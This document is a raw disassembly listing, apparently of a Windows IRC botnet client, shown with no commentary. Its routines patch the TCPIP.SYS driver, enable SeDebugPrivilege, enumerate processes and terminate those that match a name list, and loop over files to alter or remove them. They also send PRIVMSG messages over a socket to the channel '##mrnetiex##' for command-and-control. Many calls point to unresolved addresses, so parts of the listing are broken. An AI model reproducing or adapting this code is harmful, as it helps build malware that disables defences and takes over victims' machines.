[ebp+8] push offset dword_44EDD8 lea eax, [ebp-104h] push eax call sub_4219C0 add esp, 0Ch push 0 lea eax, [ebp-104h] push eax push dword ptr [ebp+8] nop call near ptr 27A0B00h test eax, eax jz short loc_41C566 push 1 pop eax jmp short locret_41C568 ; --------------------------------------------------------------------------- loc_41C566: ; CODE XREF: .XComp0:0041C55Fj xor eax, eax locret_41C568: ; CODE XREF: .XComp0:0041C564j leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C56A proc near ; CODE XREF: .XComp0:0041C6B9p var_208 = byte ptr -208h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 208h push 100h lea eax, [ebp+var_208] push eax push 0FFFFFFFFh push [ebp+arg_0] push 0 push 0 nop call near ptr 28F0000h push offset dword_44EDE0 nop call near ptr 27D0000h mov [ebp+var_4], eax push 5 push [ebp+var_4] nop call near ptr 27D0334h mov [ebp+var_8], eax push 0FFFFFFFFh lea eax, [ebp+var_208] push eax push 0 call [ebp+var_8] leave retn sub_41C56A endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 3C4h push esi push edi mov esi, [ebp+8] push 46h pop ecx lea edi, [ebp-194h] rep movsd mov eax, [ebp+8] mov [ebp-24h], eax mov eax, [ebp-24h] mov dword ptr [eax+114h], 1 mov dword ptr [ebp-3C0h], offset dword_44EDEC mov dword ptr [ebp-3BCh], offset dword_44EDF0 mov dword ptr [ebp-3B8h], offset dword_44EDF4 mov dword ptr [ebp-3B4h], offset dword_4E9134 mov dword ptr [ebp-3B0h], offset dword_44EDF8 mov dword ptr [ebp-3ACh], offset dword_44EDFC mov dword ptr [ebp-3A8h], offset dword_4E9138 mov dword ptr [ebp-3A4h], offset dword_4E913C mov dword ptr [ebp-58h], offset dword_44EE00 mov dword ptr [ebp-54h], offset dword_44EE04 mov dword ptr [ebp-50h], offset dword_44EE08 mov dword ptr [ebp-4Ch], offset dword_4E9140 mov dword ptr [ebp-48h], offset dword_44EE0C mov dword ptr [ebp-44h], offset dword_44EE10 mov dword ptr [ebp-40h], offset dword_4E9144 mov dword ptr [ebp-3Ch], offset dword_4E9148 mov dword ptr [ebp-0Ch], offset dword_44EE14 mov dword ptr [ebp-8], offset dword_44EE18 mov dword ptr [ebp-20h], offset dword_44EE1C mov dword ptr [ebp-1Ch], offset dword_44EE20 mov dword ptr [ebp-18h], offset dword_44EE24 and dword ptr [ebp-28h], 0 push 1 call sub_41EDA0 pop ecx mov [ebp-39Ch], eax and dword ptr [ebp-4], 0 push 7530h call near ptr 27A0000h nop lea eax, [ebp-18Ch] push eax call sub_41C56A pop ecx push 80h lea eax, [ebp-18Ch] push eax call near ptr 27B0000h nop push 0 push 80h push 3 push 0 push 1 push 80000000h lea eax, [ebp-18Ch] push eax nop call near ptr 2851454h mov [ebp-3A0h], eax cmp dword ptr [ebp-3A0h], 0FFFFFFFFh jz short loc_41C723 lea eax, [ebp-30h] push eax lea eax, [ebp-14h] push eax lea eax, [ebp-38h] push eax push dword ptr [ebp-3A0h] call near ptr 28D070Dh nop push dword ptr [ebp-3A0h] nop call near ptr 27800D6h loc_41C723: ; CODE XREF: .XComp0:0041C6FDj push offset dword_44EE28 lea eax, [ebp-18Ch] push eax call sub_4213F0 pop ecx pop ecx mov [ebp-5Ch], eax cmp dword ptr [ebp-5Ch], 0 jnz short loc_41C77F push dword ptr [ebp-88h] push offset aCanNotOpenTcpi ; "Can not open TCPIP.SYS, version %d." push 200h lea eax, [ebp-398h] push eax call sub_421B90 add esp, 10h lea eax, [ebp-398h] push eax call sub_4173DC pop ecx push dword ptr [ebp-190h] call sub_40D802 pop ecx push 0 call near ptr 2800000h nop loc_41C77F: ; CODE XREF: .XComp0:0041C73Dj mov eax, [ebp-88h] mov [ebp-3C4h], eax cmp dword ptr [ebp-3C4h], 1 jz short loc_41C7C0 cmp dword ptr [ebp-3C4h], 2 jz loc_41C8D3 cmp dword ptr [ebp-3C4h], 3 jz loc_41C9E0 cmp dword ptr [ebp-3C4h], 4 jz loc_41CAC3 jmp loc_41CBA8 ; --------------------------------------------------------------------------- loc_41C7C0: ; CODE XREF: .XComp0:0041C792j mov dword ptr [ebp-7Ch], 130h mov dword ptr [ebp-78h], 131h mov dword ptr [ebp-74h], 132h mov dword ptr [ebp-70h], 133h mov dword ptr [ebp-6Ch], 4F322h mov dword ptr [ebp-68h], 4F323h mov dword ptr [ebp-64h], 4F324h mov dword ptr [ebp-60h], 4F325h and dword ptr [ebp-198h], 0 jmp short loc_41C80E ; --------------------------------------------------------------------------- loc_41C801: ; CODE XREF: .XComp0:loc_41C86Bj mov eax, [ebp-198h] inc eax mov [ebp-198h], eax loc_41C80E: ; CODE XREF: .XComp0:0041C7FFj cmp dword ptr [ebp-198h], 8 jge short loc_41C86D push 0 mov eax, [ebp-198h] push dword ptr [ebp+eax*4-7Ch] push dword ptr [ebp-5Ch] call sub_423CE0 add esp, 0Ch push dword ptr [ebp-5Ch] push 1 push 1 push dword ptr [ebp-39Ch] call sub_4210E0 add esp, 10h push 1 mov eax, [ebp-198h] push dword ptr [ebp+eax*4-3C0h] push dword ptr [ebp-39Ch] call sub_422540 add esp, 0Ch test eax, eax jnz short loc_41C86B mov eax, [ebp-28h] inc eax mov [ebp-28h], eax loc_41C86B: ; CODE XREF: .XComp0:0041C862j jmp short loc_41C801 ; --------------------------------------------------------------------------- loc_41C86D: ; CODE XREF: .XComp0:0041C815j cmp dword ptr [ebp-28h], 8 jge short loc_41C8CE and dword ptr [ebp-198h], 0 jmp short loc_41C889 ; --------------------------------------------------------------------------- loc_41C87C: ; CODE XREF: .XComp0:0041C8CCj mov eax, [ebp-198h] inc eax mov [ebp-198h], eax loc_41C889: ; CODE XREF: .XComp0:0041C87Aj cmp dword ptr [ebp-198h], 8 jge short loc_41C8CE push 0 mov eax, [ebp-198h] push dword ptr [ebp+eax*4-7Ch] push dword ptr [ebp-5Ch] call sub_423CE0 add esp, 0Ch push dword ptr [ebp-5Ch] push 1 push 1 mov eax, [ebp-198h] push dword ptr [ebp+eax*4-3C0h] call sub_423E80 add esp, 10h mov dword ptr [ebp-4], 1 jmp short loc_41C87C ; --------------------------------------------------------------------------- loc_41C8CE: ; CODE XREF: .XComp0:0041C871j ; .XComp0:0041C890j jmp loc_41CBA8 ; --------------------------------------------------------------------------- loc_41C8D3: ; CODE XREF: .XComp0:0041C79Bj mov dword ptr [ebp-7Ch], 130h mov dword ptr [ebp-78h], 131h mov dword ptr [ebp-74h], 132h mov dword ptr [ebp-70h], 133h mov dword ptr [ebp-6Ch], 4F5A2h mov dword ptr [ebp-68h], 4F5A3h mov dword ptr [ebp-64h], 4F5A4h mov dword ptr [ebp-60h], 4F5A5h and dword ptr [ebp-198h], 0 jmp short loc_41C921 ; --------------------------------------------------------------------------- loc_41C914: ; CODE XREF: .XComp0:loc_41C97Bj mov eax, [ebp-198h] inc eax mov [ebp-198h], eax loc_41C921: ; CODE XREF: .XComp0:0041C912j cmp dword ptr [ebp-198h], 8 jge short loc_41C97D push 0 mov eax, [ebp-198h] push dword ptr [ebp+eax*4-7Ch] push dword ptr [ebp-5Ch] call sub_423CE0 add esp, 0Ch push dword ptr [ebp-5Ch] push 1 push 1 push dword ptr [ebp-39Ch] call sub_4210E0 add esp, 10h push 1 mov eax, [ebp-198h] push dword ptr [ebp+eax*4-58h] push dword ptr [ebp-39Ch] call sub_422540 add esp, 0Ch test eax, eax jnz short loc_41C97B mov eax, [ebp-28h] inc eax mov [ebp-28h], eax loc_41C97B: ; CODE XREF: .XComp0:0041C972j jmp short loc_41C914 ; --------------------------------------------------------------------------- loc_41C97D: ; CODE XREF: .XComp0:0041C928j cmp dword ptr [ebp-28h], 8 jge short loc_41C9DB and dword ptr [ebp-198h], 0 jmp short loc_41C999 ; --------------------------------------------------------------------------- loc_41C98C: ; CODE XREF: .XComp0:0041C9D9j mov eax, [ebp-198h] inc eax mov [ebp-198h], eax loc_41C999: ; CODE XREF: .XComp0:0041C98Aj cmp dword ptr [ebp-198h], 8 jge short loc_41C9DB push 0 mov eax, [ebp-198h] push dword ptr [ebp+eax*4-7Ch] push dword ptr [ebp-5Ch] call sub_423CE0 add esp, 0Ch push dword ptr [ebp-5Ch] push 1 push 1 mov eax, [ebp-198h] push dword ptr [ebp+eax*4-58h] call sub_423E80 add esp, 10h mov dword ptr [ebp-4], 1 jmp short loc_41C98C ; --------------------------------------------------------------------------- loc_41C9DB: ; CODE XREF: .XComp0:0041C981j ; .XComp0:0041C9A0j jmp loc_41CBA8 ; --------------------------------------------------------------------------- loc_41C9E0: ; CODE XREF: .XComp0:0041C7A8j mov dword ptr [ebp-7Ch], 130h mov dword ptr [ebp-78h], 4F322h and dword ptr [ebp-198h], 0 jmp short loc_41CA04 ; --------------------------------------------------------------------------- loc_41C9F7: ; CODE XREF: .XComp0:loc_41CA5Ej mov eax, [ebp-198h] inc eax mov [ebp-198h], eax loc_41CA04: ; CODE XREF: .XComp0:0041C9F5j cmp dword ptr [ebp-198h], 2 jge short loc_41CA60 push 0 mov eax, [ebp-198h] push dword ptr [ebp+eax*4-7Ch] push dword ptr [ebp-5Ch] call sub_423CE0 add esp, 0Ch push dword ptr [ebp-5Ch] push 1 push 1 push dword ptr [ebp-39Ch] call sub_4210E0 add esp, 10h push 1 mov eax, [ebp-198h] push dword ptr [ebp+eax*4-0Ch] push dword ptr [ebp-39Ch] call sub_422540 add esp, 0Ch test eax, eax jnz short loc_41CA5E mov eax, [ebp-28h] inc eax mov [ebp-28h], eax loc_41CA5E: ; CODE XREF: .XComp0:0041CA55j jmp short loc_41C9F7 ; --------------------------------------------------------------------------- loc_41CA60: ; CODE XREF: .XComp0:0041CA0Bj cmp dword ptr [ebp-28h], 2 jge short loc_41CABE and dword ptr [ebp-198h], 0 jmp short loc_41CA7C ; --------------------------------------------------------------------------- loc_41CA6F: ; CODE XREF: .XComp0:0041CABCj mov eax, [ebp-198h] inc eax mov [ebp-198h], eax loc_41CA7C: ; CODE XREF: .XComp0:0041CA6Dj cmp dword ptr [ebp-198h], 2 jge short loc_41CABE push 0 mov eax, [ebp-198h] push dword ptr [ebp+eax*4-7Ch] push dword ptr [ebp-5Ch] call sub_423CE0 add esp, 0Ch push dword ptr [ebp-5Ch] push 1 push 1 mov eax, [ebp-198h] push dword ptr [ebp+eax*4-0Ch] call sub_423E80 add esp, 10h mov dword ptr [ebp-4], 1 jmp short loc_41CA6F ; --------------------------------------------------------------------------- loc_41CABE: ; CODE XREF: .XComp0:0041CA64j ; .XComp0:0041CA83j jmp loc_41CBA8 ; --------------------------------------------------------------------------- loc_41CAC3: ; CODE XREF: .XComp0:0041C7B5j mov dword ptr [ebp-7Ch], 130h mov dword ptr [ebp-78h], 131h mov dword ptr [ebp-78h], 4F5A2h and dword ptr [ebp-198h], 0 jmp short loc_41CAEE ; --------------------------------------------------------------------------- loc_41CAE1: ; CODE XREF: .XComp0:loc_41CB48j mov eax, [ebp-198h] inc eax mov [ebp-198h], eax loc_41CAEE: ; CODE XREF: .XComp0:0041CADFj cmp dword ptr [ebp-198h], 3 jge short loc_41CB4A push 0 mov eax, [ebp-198h] push dword ptr [ebp+eax*4-7Ch] push dword ptr [ebp-5Ch] call sub_423CE0 add esp, 0Ch push dword ptr [ebp-5Ch] push 1 push 1 push dword ptr [ebp-39Ch] call sub_4210E0 add esp, 10h push 1 mov eax, [ebp-198h] push dword ptr [ebp+eax*4-20h] push dword ptr [ebp-39Ch] call sub_422540 add esp, 0Ch test eax, eax jnz short loc_41CB48 mov eax, [ebp-28h] inc eax mov [ebp-28h], eax loc_41CB48: ; CODE XREF: .XComp0:0041CB3Fj jmp short loc_41CAE1 ; --------------------------------------------------------------------------- loc_41CB4A: ; CODE XREF: .XComp0:0041CAF5j cmp dword ptr [ebp-28h], 3 jge short loc_41CBA8 and dword ptr [ebp-198h], 0 jmp short loc_41CB66 ; --------------------------------------------------------------------------- loc_41CB59: ; CODE XREF: .XComp0:0041CBA6j mov eax, [ebp-198h] inc eax mov [ebp-198h], eax loc_41CB66: ; CODE XREF: .XComp0:0041CB57j cmp dword ptr [ebp-198h], 3 jge short loc_41CBA8 push 0 mov eax, [ebp-198h] push dword ptr [ebp+eax*4-7Ch] push dword ptr [ebp-5Ch] call sub_423CE0 add esp, 0Ch push dword ptr [ebp-5Ch] push 1 push 1 mov eax, [ebp-198h] push dword ptr [ebp+eax*4-20h] call sub_423E80 add esp, 10h mov dword ptr [ebp-4], 1 jmp short loc_41CB59 ; --------------------------------------------------------------------------- loc_41CBA8: ; CODE XREF: .XComp0:0041C7BBj ; .XComp0:loc_41C8CEj ... push dword ptr [ebp-5Ch] call sub_41EC50 pop ecx push 0 push 80h push 3 push 0 push 2 push 40000000h lea eax, [ebp-18Ch] push eax nop call near ptr 2851454h mov [ebp-3A0h], eax cmp dword ptr [ebp-3A0h], 0FFFFFFFFh jz short loc_41CC03 lea eax, [ebp-30h] push eax lea eax, [ebp-14h] push eax lea eax, [ebp-38h] push eax push dword ptr [ebp-3A0h] nop call near ptr 28D0000h push dword ptr [ebp-3A0h] nop call near ptr 27800D6h loc_41CC03: ; CODE XREF: .XComp0:0041CBDDj cmp dword ptr [ebp-4], 0 jz short loc_41CC57 push dword ptr [ebp-88h] push offset aTcpip_sysFixed ; "TCPIP.SYS fixed, version %d." push 200h lea eax, [ebp-398h] push eax call sub_421B90 add esp, 10h push 0 push dword ptr [ebp-84h] lea eax, [ebp-398h] push eax push offset aMrnetiex ; "##mrnetiex##" push dword ptr [ebp-194h] call sub_40B00F add esp, 14h lea eax, [ebp-398h] push eax call sub_4173DC pop ecx loc_41CC57: ; CODE XREF: .XComp0:0041CC07j and dword_44121C, 0 push dword ptr [ebp-190h] call sub_40D802 pop ecx push 0 nop call near ptr 2800000h pop edi pop esi leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CC78 proc near ; CODE XREF: sub_4021E5:loc_40AD49p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 14h push 208h call sub_423B90 pop ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_41CCAC push 208h push 0 push [ebp+var_8] call sub_421410 add esp, 0Ch jmp short loc_41CCB4 ; --------------------------------------------------------------------------- loc_41CCAC: ; CODE XREF: sub_41CC78+1Ej push 0 call near ptr 2800000h nop loc_41CCB4: ; CODE XREF: sub_41CC78+32j push 104h push [ebp+var_8] push 0 nop call near ptr 27B03C5h push eax call near ptr 2790000h nop and [ebp+var_4], 0 jmp short loc_41CCD8 ; --------------------------------------------------------------------------- loc_41CCD1: ; CODE XREF: sub_41CC78:loc_41CD53j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_41CCD8: ; CODE XREF: sub_41CC78+57j cmp [ebp+var_4], 0Ch jnb short loc_41CD58 and [ebp+var_C], 0 jmp short loc_41CCEB ; --------------------------------------------------------------------------- loc_41CCE4: ; CODE XREF: sub_41CC78:loc_41CD51j mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax loc_41CCEB: ; CODE XREF: sub_41CC78+6Aj cmp [ebp+var_C], 1Ch jnb short loc_41CD53 mov eax, [ebp+var_4] push off_44EE70[eax*4] mov eax, [ebp+var_8] add eax, 104h push eax call sub_422580 pop ecx pop ecx mov eax, [ebp+var_C] push off_44EEA0[eax*4] mov eax, [ebp+var_8] add eax, 104h push eax call sub_422590 pop ecx pop ecx push 0 mov eax, [ebp+var_8] add eax, 104h push eax push [ebp+var_8] call near ptr 27A0B00h nop test eax, eax jz short loc_41CD51 push 80h mov eax, [ebp+var_8] add eax, 104h push eax nop call near ptr 27B0000h loc_41CD51: ; CODE XREF: sub_41CC78+C3j jmp short loc_41CCE4 ; --------------------------------------------------------------------------- loc_41CD53: ; CODE XREF: sub_41CC78+77j jmp loc_41CCD1 ; --------------------------------------------------------------------------- loc_41CD58: ; CODE XREF: sub_41CC78+64j mov eax, [ebp+var_8] mov [ebp+var_14], eax push [ebp+var_14] call sub_423AE0 pop ecx mov al, 1 leave retn sub_41CC78 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CD6B proc near ; CODE XREF: sub_41A8DC+Ap ; sub_41CDFD+62p ... var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h and [ebp+var_4], 0 lea eax, [ebp+var_18] push eax push 28h nop call near ptr 28205DBh push eax call dword_4E16E4 ; OpenProcessToken test eax, eax jnz short loc_41CD91 mov eax, [ebp+var_4] jmp short locret_41CDFB ; --------------------------------------------------------------------------- loc_41CD91: ; CODE XREF: sub_41CD6B+1Fj lea eax, [ebp+var_10] push eax push [ebp+arg_0] push 0 call dword_4E16BC ; LookupPrivilegeValueA test eax, eax jnz short loc_41CDB2 push [ebp+var_18] nop call near ptr 27800D6h mov eax, [ebp+var_4] jmp short locret_41CDFB ; --------------------------------------------------------------------------- loc_41CDB2: ; CODE XREF: sub_41CD6B+37j mov [ebp+var_14], 1 cmp [ebp+arg_4], 0 jz short loc_41CDC9 mov eax, [ebp+var_8] or al, 2 mov [ebp+var_8], eax jmp short loc_41CDD7 ; --------------------------------------------------------------------------- loc_41CDC9: ; CODE XREF: sub_41CD6B+52j mov eax, [ebp+var_8] and eax, 2 mov ecx, [ebp+var_8] xor ecx, eax mov [ebp+var_8], ecx loc_41CDD7: ; CODE XREF: sub_41CD6B+5Cj push 0 push 0 push 0 lea eax, [ebp+var_14] push eax push 0 push [ebp+var_18] call dword_4E176C ; AdjustTokenPrivileges mov [ebp+var_4], eax push [ebp+var_18] nop call near ptr 27800D6h mov eax, [ebp+var_4] locret_41CDFB: ; CODE XREF: sub_41CD6B+24j ; sub_41CD6B+45j leave retn sub_41CD6B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CDFD proc near ; CODE XREF: sub_4021E5+4CA3p ; sub_41D094+7Dp var_558 = dword ptr -558h var_554 = dword ptr -554h var_550 = byte ptr -550h var_434 = byte ptr -434h var_330 = byte ptr -330h var_130 = dword ptr -130h var_12C = dword ptr -12Ch var_128 = byte ptr -128h var_124 = dword ptr -124h var_108 = byte ptr -108h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 558h push edi and [ebp+var_12C], 0 push 49h pop ecx xor eax, eax lea edi, [ebp+var_128] rep stosd and [ebp+var_554], 0 mov ecx, 88h xor eax, eax lea edi, [ebp+var_550] rep stosd cmp dword_4E1720, 0 jz loc_41D08F cmp dword_4E1704, 0 jz loc_41D08F cmp dword_4E1614, 0 jz loc_41D08F push 1 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_41CD6B pop ecx pop ecx push 0 push 0Fh call dword_4E1720 ; CreateToolhelp32Snapshot mov [ebp+var_130], eax cmp [ebp+var_130], 0FFFFFFFFh jz loc_41D081 mov [ebp+var_12C], 128h lea eax, [ebp+var_12C] push eax push [ebp+var_130] call dword_4E1704 ; Process32First test eax, eax jz loc_41D075 loc_41CEA8: ; CODE XREF: sub_41CDFD:loc_41D070j lea eax, [ebp+var_12C] push eax push [ebp+var_130] call dword_4E1614 ; Process32Next test eax, eax jz loc_41D075 cmp [ebp+arg_10], 0 jz short loc_41CF43 and [ebp+var_558], 0 jmp short loc_41CEDF ; --------------------------------------------------------------------------- loc_41CED2: ; CODE XREF: sub_41CDFD:loc_41CF3Cj mov eax, [ebp+var_558] inc eax mov [ebp+var_558], eax loc_41CEDF: ; CODE XREF: sub_41CDFD+D3j cmp [ebp+var_558], 18h jnb short loc_41CF3E mov eax, [ebp+var_558] push off_44F3D8[eax*4] lea eax, [ebp+var_108] push eax nop call near ptr 2900000h test eax, eax jnz short loc_41CF3C push [ebp+var_124] push 0 push 1F0FFFh nop call near ptr 27A0512h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_41CF3A push 0 push [ebp+var_4] call near ptr 2810BC8h nop test eax, eax jnz short loc_41CF3A push [ebp+var_4] nop call near ptr 27800D6h loc_41CF3A: ; CODE XREF: sub_41CDFD+123j ; sub_41CDFD+132j jmp short loc_41CF3E ; --------------------------------------------------------------------------- loc_41CF3C: ; CODE XREF: sub_41CDFD+107j jmp short loc_41CED2 ; --------------------------------------------------------------------------- loc_41CF3E: ; CODE XREF: sub_41CDFD+E9j ; sub_41CDFD:loc_41CF3Aj jmp loc_41D070 ; --------------------------------------------------------------------------- loc_41CF43: ; CODE XREF: sub_41CDFD+CAj cmp [ebp+arg_C], 0 jnz loc_41D018 cmp [ebp+arg_4], 0 jz loc_41D016 push [ebp+var_124] push 8 call dword_4E1720 ; CreateToolhelp32Snapshot mov [ebp+var_4], eax mov [ebp+var_554], 224h cmp [ebp+arg_14], 0 jz short loc_41CFD2 lea eax, [ebp+var_554] push eax push [ebp+var_4] call dword_4E15C0 ; Module32First test eax, eax jz short loc_41CFAF push [ebp+var_124] lea eax, [ebp+var_434] push eax push offset aSD ; " %s (%d)" lea eax, [ebp+var_330] push eax call sub_4219C0 add esp, 10h jmp short loc_41CFD0 ; --------------------------------------------------------------------------- loc_41CFAF: ; CODE XREF: sub_41CDFD+18Dj push [ebp+var_124] lea eax, [ebp+var_108] push eax push offset aSD_0 ; " %s (%d)" lea eax, [ebp+var_330] push eax call sub_4219C0 add esp, 10h loc_41CFD0: ; CODE XREF: sub_41CDFD+1B0j jmp short loc_41CFF3 ; --------------------------------------------------------------------------- loc_41CFD2: ; CODE XREF: sub_41CDFD+179j push [ebp+var_124] lea eax, [ebp+var_108] push eax push offset aSD_1 ; " %s (%d)" lea eax, [ebp+var_330] push eax call sub_4219C0 add esp, 10h loc_41CFF3: ; CODE XREF: sub_41CDFD:loc_41CFD0j push 1 push [ebp+arg_8] lea eax, [ebp+var_330] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40B00F add esp, 14h push [ebp+var_4] call near ptr 27800D6h nop loc_41D016: ; CODE XREF: sub_41CDFD+154j jmp short loc_41D070 ; --------------------------------------------------------------------------- loc_41D018: ; CODE XREF: sub_41CDFD+14Aj push [ebp+arg_C] lea eax, [ebp+var_108] push eax call sub_422740 pop ecx pop ecx test eax, eax jnz short loc_41D070 push [ebp+var_124] push 0 push 1F0FFFh nop call near ptr 27A0512h mov [ebp+var_4], eax push [ebp+var_130] nop call near ptr 27800D6h push 0 push [ebp+var_4] nop call near ptr 2810BC8h test eax, eax jnz short loc_41D06B push [ebp+var_4] nop call near ptr 27800D6h xor eax, eax jmp short loc_41D091 ; --------------------------------------------------------------------------- loc_41D06B: ; CODE XREF: sub_41CDFD+25Fj push 1 pop eax jmp short loc_41D091 ; --------------------------------------------------------------------------- loc_41D070: ; CODE XREF: sub_41CDFD:loc_41CF3Ej ; sub_41CDFD:loc_41D016j ... jmp loc_41CEA8 ; --------------------------------------------------------------------------- loc_41D075: ; CODE XREF: sub_41CDFD+A5j ; sub_41CDFD+C0j push [ebp+var_130] call near ptr 27800D6h nop loc_41D081: ; CODE XREF: sub_41CDFD+80j push 0 push offset aSedebugprivi_0 ; "SeDebugPrivilege" call sub_41CD6B pop ecx pop ecx loc_41D08F: ; CODE XREF: sub_41CDFD+3Bj ; sub_41CDFD+48j ... xor eax, eax loc_41D091: ; CODE XREF: sub_41CDFD+26Cj ; sub_41CDFD+271j pop edi leave retn sub_41CDFD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D094 proc near ; DATA XREF: sub_4021E5+2DB0o var_29C = byte ptr -29Ch var_9C = dword ptr -9Ch var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 29Ch push esi push edi mov esi, [ebp+arg_0] push 26h pop ecx lea edi, [ebp+var_9C] rep movsd mov eax, [ebp+arg_0] mov [ebp+var_4], eax mov eax, [ebp+var_4] mov dword ptr [eax+94h], 1 push offset unk_44F5D0 lea eax, [ebp+var_29C] push eax call sub_4219C0 pop ecx pop ecx cmp [ebp+var_C], 0 jnz short loc_41D0FA push 0 push [ebp+var_10] lea eax, [ebp+var_29C] push eax lea eax, [ebp+var_98] push eax push [ebp+var_9C] call sub_40B00F add esp, 14h loc_41D0FA: ; CODE XREF: sub_41D094+43j push [ebp+var_14] push 0 push 0 push [ebp+var_10] lea eax, [ebp+var_98] push eax push [ebp+var_9C] call sub_41CDFD add esp, 18h test eax, eax jnz short loc_41D132 push offset unk_44F5F0 lea eax, [ebp+var_29C] push eax call sub_4219C0 pop ecx pop ecx jmp short loc_41D145 ; --------------------------------------------------------------------------- loc_41D132: ; CODE XREF: sub_41D094+87j push offset unk_44F614 lea eax, [ebp+var_29C] push eax call sub_4219C0 pop ecx pop ecx loc_41D145: ; CODE XREF: sub_41D094+9Cj cmp [ebp+var_C], 0 jnz short loc_41D16C push 0 push [ebp+var_10] lea eax, [ebp+var_29C] push eax lea eax, [ebp+var_98] push eax push [ebp+var_9C] call sub_40B00F add esp, 14h loc_41D16C: ; CODE XREF: sub_41D094+B5j lea eax, [ebp+var_29C] push eax call sub_4173DC pop ecx push [ebp+var_18] call sub_40D802 pop ecx push 0 nop call near ptr 2800000h pop edi pop esi leave retn 4 sub_41D094 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D190 proc near ; CODE XREF: sub_4021E5+4D81p ; sub_40D4E0+A0p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov [ebp+var_4], 1 push [ebp+arg_0] push 0 push 1F0FFFh call near ptr 27A0512h nop mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_41D1D1 push 0 push [ebp+var_8] call near ptr 2810BC8h nop test eax, eax jnz short loc_41D1D1 and [ebp+var_4], 0 push [ebp+var_8] nop call near ptr 27800D6h loc_41D1D1: ; CODE XREF: sub_41D190+23j ; sub_41D190+32j mov eax, [ebp+var_4] leave retn sub_41D190 endp ; --------------------------------------------------------------------------- word_41D1D6 dw 8B55h ; DATA XREF: sub_4016A7+48Do dd 58016AECh, 2274C085h, 6A016Ah, 2 dup(6A006Ah), 0FFFC0CE8h dd 18C483FFh, 0F3D435FFh, 1E80044h, 9002382Eh, 0C033D7EBh dd 4C25Dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D208 proc near ; CODE XREF: sub_41D24C+2Cp ; sub_41D286+7Ep ... push ebp mov ebp, esp cmp dword_4E9150, 0FFFFFFFFh jz short loc_41D220 push dword_4E9150 nop call near ptr 27800D6h loc_41D220: ; CODE XREF: sub_41D208+Aj cmp dword_4E9158, 0FFFFFFFFh jz short loc_41D235 push dword_4E9158 nop call near ptr 27800D6h loc_41D235: ; CODE XREF: sub_41D208+1Fj cmp dword_4E914C, 0FFFFFFFFh jz short loc_41D24A push dword_4E914C call near ptr 27800D6h nop loc_41D24A: ; CODE XREF: sub_41D208+34j pop ebp retn sub_41D208 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D24C proc near ; CODE XREF: sub_4021E5+53CAp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+arg_0] call sub_41EBD0 pop ecx mov [ebp+var_4], eax push 0 lea eax, [ebp+var_4] push eax push [ebp+var_4] push [ebp+arg_0] push dword_4E9154 call near ptr 2810000h nop test eax, eax jnz short loc_41D281 call sub_41D208 xor eax, eax jmp short locret_41D284 ; --------------------------------------------------------------------------- loc_41D281: ; CODE XREF: sub_41D24C+2Aj push 1 pop eax locret_41D284: ; CODE XREF: sub_41D24C+33j leave retn sub_41D24C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D286 proc near ; CODE XREF: sub_41D30D+6Ep ; sub_41D30D+C8p ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push offset dword_4E9198 push [ebp+arg_4] call sub_422740 pop ecx pop ecx test eax, eax jz short loc_41D2C9 push 7D0h nop call near ptr 27A0000h push [ebp+arg_8] push [ebp+arg_4] push offset aPrivmsgSS ; "PRIVMSG %s :%s\r" lea eax, [ebp+var_200] push eax call sub_4219C0 add esp, 10h jmp short loc_41D2E0 ; --------------------------------------------------------------------------- loc_41D2C9: ; CODE XREF: sub_41D286+1Aj push [ebp+arg_8] push offset aS_25 ; "%s" lea eax, [ebp+var_200] push eax call sub_4219C0 add esp, 0Ch loc_41D2E0: ; CODE XREF: sub_41D286+41j push 0 lea eax, [ebp+var_200] push eax call sub_41EBD0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4E1750 ; send test eax, eax jg short loc_41D309 call sub_41D208 loc_41D309: ; CODE XREF: sub_41D286+7Cj xor eax, eax leave retn sub_41D286 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D30D proc near ; DATA XREF: sub_41D4E3+21Ao var_218 = dword ptr -218h var_214 = dword ptr -214h var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 